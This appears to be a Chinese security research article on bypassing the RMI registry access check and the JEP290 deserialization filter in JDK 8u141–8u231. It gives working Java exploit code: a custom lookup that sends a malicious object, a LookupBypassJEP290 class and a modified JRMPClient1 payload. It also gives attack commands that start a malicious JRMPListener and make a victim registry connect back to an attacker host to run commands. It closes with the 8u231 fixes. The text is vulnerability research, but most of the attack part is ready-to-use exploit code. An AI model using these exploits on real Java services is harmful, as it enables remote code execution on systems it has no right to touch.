JAVA安全之JDK8u141版本绕过研究
字数 1095 2025-08-22 12:23:06

Java安全研究:JDK8u141版本绕过技术分析

1. 背景介绍

从JDK8u141开始,JEP290中针对RegistryImpl_Skel#dispatch中的bindunbindrebind操作增加了checkAccess检查,此项检查只允许来源为本地。

2. 安全机制分析

2.1 checkAccess机制

在JDK8u141中,RegistryImpl_Skel#dispatch方法增加了安全检查:

public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
    if (var4 != 4905912898345647071L) {
        throw new SkeletonMismatchException("interface hash mismatch");
    } else {
        RegistryImpl var6 = (RegistryImpl)var1;
        String var7;
        ObjectInput var8;
        ObjectInput var9;
        Remote var80;
        switch(var3) {
            case 0:
                RegistryImpl.checkAccess("Registry.bind");
                try {
                    var9 = var2.getInputStream();
                    var7 = (String)var9.readObject();
                    var80 = (Remote)var9.readObject();
                } catch (ClassNotFoundException | IOException var77) {
                    throw new UnmarshalException("error unmarshalling arguments", var77);
                } finally {
                    var2.releaseInputStream();
                }
                var6.bind(var7, var80);
                try {
                    var2.getResultStream(true);
                    break;
                } catch (IOException var76) {
                    throw new MarshalException("error marshalling return", var76);
                }
            // 其他case省略...
        }
    }
}

checkAccess方法的具体实现:

public static void checkAccess(String var0) throws AccessException {
    try {
        final String var1 = getClientHost();
        final InetAddress var2;
        try {
            var2 = (InetAddress)AccessController.doPrivileged(new PrivilegedExceptionAction<InetAddress>() {
                public InetAddress run() throws UnknownHostException {
                    return InetAddress.getByName(var1);
                }
            });
        } catch (PrivilegedActionException var5) {
            throw (UnknownHostException)var5.getException();
        }
        if (allowedAccessCache.get(var2) == null) {
            if (var2.isAnyLocalAddress()) {
                throw new AccessException(var0 + " disallowed; origin unknown");
            }
            try {
                AccessController.doPrivileged(new PrivilegedExceptionAction<Void>() {
                    public Void run() throws IOException {
                        (new ServerSocket(0, 10, var2)).close();
                        RegistryImpl.allowedAccessCache.put(var2, var2);
                        return null;
                    }
                });
            } catch (PrivilegedActionException var4) {
                throw new AccessException(var0 + " disallowed; origin " + var2 + " is non-local host");
            }
        }
    } catch (ServerNotActiveException var6) {
    } catch (UnknownHostException var7) {
        throw new AccessException(var0 + " disallowed; origin is unknown host");
    }
}

2.2 方法映射关系

在RMI通信中,RegistryImpl_Skel#dispatch方法的var3参数代表客户端发起连接的方法:

  • 0 -> bind
  • 1 -> list
  • 2 -> lookup
  • 3 -> rebind
  • 4 -> unbind

3. 绕过技术分析

3.1 绕过思路

关键发现:

  1. bindrebindunbindlookup中都有反序列化操作
  2. 只有lookup中没有调用checkAccess
  3. RegistryImpl_Stub#lookup方法只接受String参数,无法直接传递恶意对象

绕过方案:

  • 利用lookup方法(不检查来源)结合JRMP(绕过JEP290)来实施攻击

3.2 实现细节

3.2.1 自定义Naming类

package ysoserial.exploit;

import ysoserial.payloads.util.Reflections;
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteRef;

public class Naming {
    private Naming() {}
    
    public static Remote lookup(Registry registry, Object obj) throws Exception {
        RemoteRef ref = (RemoteRef)Reflections.getFieldValue(registry, "ref");
        long interfaceHash = Long.valueOf(String.valueOf(Reflections.getFieldValue(registry, "interfaceHash")));
        java.rmi.server.Operation[] operations = (Operation[])Reflections.getFieldValue(registry, "operations");
        java.rmi.server.RemoteCall call = ref.newCall((java.rmi.server.RemoteObject)registry, operations, 2, interfaceHash);
        try {
            try {
                java.io.ObjectOutput out = call.getOutputStream();
                // 反射修改enableReplace
                Reflections.setFieldValue(out, "enableReplace", false);
                out.writeObject(obj); // arm obj
            } catch (java.io.IOException e) {
                throw new java.rmi.MarshalException("error marshalling arguments", e);
            }
            ref.invoke(call);
            return null;
        } catch (RuntimeException | RemoteException | NotBoundException e) {
            if (e instanceof RemoteException | e instanceof ClassCastException){
                return null;
            } else {
                throw e;
            }
        } catch (java.lang.Exception e) {
            throw new java.rmi.UnexpectedException("undeclared checked exception", e);
        } finally {
            ref.done(call);
        }
    }
}

3.2.2 LookupBypassJEP290实现

package ysoserial.exploit;

import java.io.IOException;
import java.net.Socket;
import java.rmi.ConnectIOException;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RMIClientSocketFactory;
import java.security.cert.X509Certificate;
import java.util.concurrent.Callable;
import javax.net.ssl.*;
import ysoserial.payloads.JRMPClient1;
import ysoserial.secmgr.ExecCheckingSecurityManager;

public class LookupBypassJEP290 {
    // SSL相关实现省略...
    
    public static void main(final String[] args) throws Exception {
        final String host = args[0];
        final int port = Integer.parseInt(args[1]);
        final String command = args[2];
        Registry registry = LocateRegistry.getRegistry(host, port);
        try {
            registry.list();
        } catch (ConnectIOException ex) {
            registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
        }
        exploit(registry, command);
    }
    
    public static void exploit(final Registry registry, final String command) throws Exception {
        new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){
            public Void call() throws Exception {
                JRMPClient1 jrmpclient = new JRMPClient1();
                Remote remote = jrmpclient.getObject(command);
                try {
                    Naming.lookup(registry, remote);
                } catch (Throwable e) {
                    e.printStackTrace();
                }
                return null;
            }});
    }
}

3.2.3 修改后的JRMPClient1

package ysoserial.payloads;

import java.rmi.Remote;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

@SuppressWarnings({"restriction"})
@PayloadTest(harness = "ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient1 extends PayloadRunner implements ObjectPayload<Remote> {
    public Remote getObject(final String command) throws Exception {
        String host;
        int port;
        int sep = command.indexOf(':');
        if (sep < 0) {
            port = new Random().nextInt(65535);
            host = command;
        } else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        Remote obj = new RemoteObjectInvocationHandler(ref);
        return obj;
    }
    
    public static void main(final String[] args) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient1.class.getClassLoader());
        PayloadRunner.run(JRMPClient1.class, args);
    }
}

4. 实际利用流程

4.1 攻击步骤

  1. 启动恶意JRMPListener:

    "C:\Program Files\Java\jdk1.8.0_181\bin\java.exe" -cp ysoserial.jar ysoserial.exploit.JRMPListener 1088 CommonsCollections5 "cmd.exe /c calc"
    
  2. 受害者RMI服务示例:

    package org.al1ex;
    
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    
    public class RMIServer {
        public static void main(String[] args) {
            try {
                // 创建远程对象
                HelloService helloService = new HelloServiceImpl();
                // 创建RMI注册表
                Registry registry = LocateRegistry.createRegistry(1099);
                registry.bind("HelloService", helloService);
                System.out.println("RMI Server is ready.");
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
    
  3. 发起攻击:

    "C:\Program Files\Java\jdk1.8.0_181\bin\java.exe" -cp ysoserial.jar ysoserial.exploit.LookupBypassJEP290 192.168.1.10 1099 192.168.1.16:1088
    

5. 修复措施

5.1 JDK8u231的修复

  1. 异常处理增强:

    • RegistryImpl_Skel#dispatch中的每个case都增加了ClassCastException处理
    • 反序列化时会因为返回对象类型不是String而报错
    • 调用StreamRemoteCall#discardPendingRefs清除incomingRefTable属性的值
  2. 过滤器机制:

    • DGCImpl_Stub#dirty函数中增加了setObjectInputFilter
    • leaseFilter方法严格限制反序列化类:
      private static ObjectInputFilter.Status leaseFilter(ObjectInputFilter.FilterInfo var0) {
          if (var0.depth() > (long)DGCCLIENT_MAX_DEPTH) {
              return Status.REJECTED;
          } else {
              Class var1 = var0.serialClass();
              if (var1 == null) {
                  return Status.UNDECIDED;
              } else {
                  while(var1.isArray()) {
                      if (var0.arrayLength() >= 0L && var0.arrayLength() > (long)DGCCLIENT_MAX_ARRAY_SIZE) {
                          return Status.REJECTED;
                      }
                      var1 = var1.getComponentType();
                  }
                  if (var1.isPrimitive()) {
                      return Status.ALLOWED;
                  } else {
                      return var1 != UID.class && var1 != VMID.class && var1 != Lease.class 
                          && (var1.getPackage() == null || !Throwable.class.isAssignableFrom(var1) 
                          || !"java.lang".equals(var1.getPackage().getName()) 
                          && !"java.rmi".equals(var1.getPackage().getName())) 
                          && var1 != StackTraceElement.class && var1 != ArrayList.class 
                          && var1 != Object.class 
                          && !var1.getName().equals("java.util.Collections$UnmodifiableList") 
                          && !var1.getName().equals("java.util.Collections$UnmodifiableCollection") 
                          && !var1.getName().equals("java.util.Collections$UnmodifiableRandomAccessList") 
                          && !var1.getName().equals("java.util.Collections$EmptyList") 
                          ? Status.REJECTED : Status.ALLOWED;
                  }
              }
          }
      }
      

6. 版本影响范围

  1. JDK8u121~141:

    • 可以直接利用UnicastRef链路进行绕过
  2. JDK8u141~231:

    • 需要结合CheckAccess的绕过与JRMP反序列化机制
  3. JDK8u231及以上:

    • 通过新增的过滤器和异常处理机制修复了此漏洞
Java安全研究:JDK8u141版本绕过技术分析 1. 背景介绍 从JDK8u141开始,JEP290中针对 RegistryImpl_Skel#dispatch 中的 bind 、 unbind 、 rebind 操作增加了 checkAccess 检查,此项检查只允许来源为本地。 2. 安全机制分析 2.1 checkAccess机制 在JDK8u141中,RegistryImpl_ Skel#dispatch方法增加了安全检查: checkAccess 方法的具体实现: 2.2 方法映射关系 在RMI通信中, RegistryImpl_Skel#dispatch 方法的 var3 参数代表客户端发起连接的方法: 0 -> bind 1 -> list 2 -> lookup 3 -> rebind 4 -> unbind 3. 绕过技术分析 3.1 绕过思路 关键发现: 在 bind 、 rebind 、 unbind 和 lookup 中都有反序列化操作 只有 lookup 中没有调用 checkAccess RegistryImpl_Stub#lookup 方法只接受String参数,无法直接传递恶意对象 绕过方案: 利用 lookup 方法(不检查来源)结合JRMP(绕过JEP290)来实施攻击 3.2 实现细节 3.2.1 自定义Naming类 3.2.2 LookupBypassJEP290实现 3.2.3 修改后的JRMPClient1 4. 实际利用流程 4.1 攻击步骤 启动恶意JRMPListener : 受害者RMI服务示例 : 发起攻击 : 5. 修复措施 5.1 JDK8u231的修复 异常处理增强 : 在 RegistryImpl_Skel#dispatch 中的每个case都增加了 ClassCastException 处理 反序列化时会因为返回对象类型不是String而报错 调用 StreamRemoteCall#discardPendingRefs 清除 incomingRefTable 属性的值 过滤器机制 : 在 DGCImpl_Stub#dirty 函数中增加了 setObjectInputFilter leaseFilter 方法严格限制反序列化类: 6. 版本影响范围 JDK8u121~141 : 可以直接利用UnicastRef链路进行绕过 JDK8u141~231 : 需要结合CheckAccess的绕过与JRMP反序列化机制 JDK8u231及以上 : 通过新增的过滤器和异常处理机制修复了此漏洞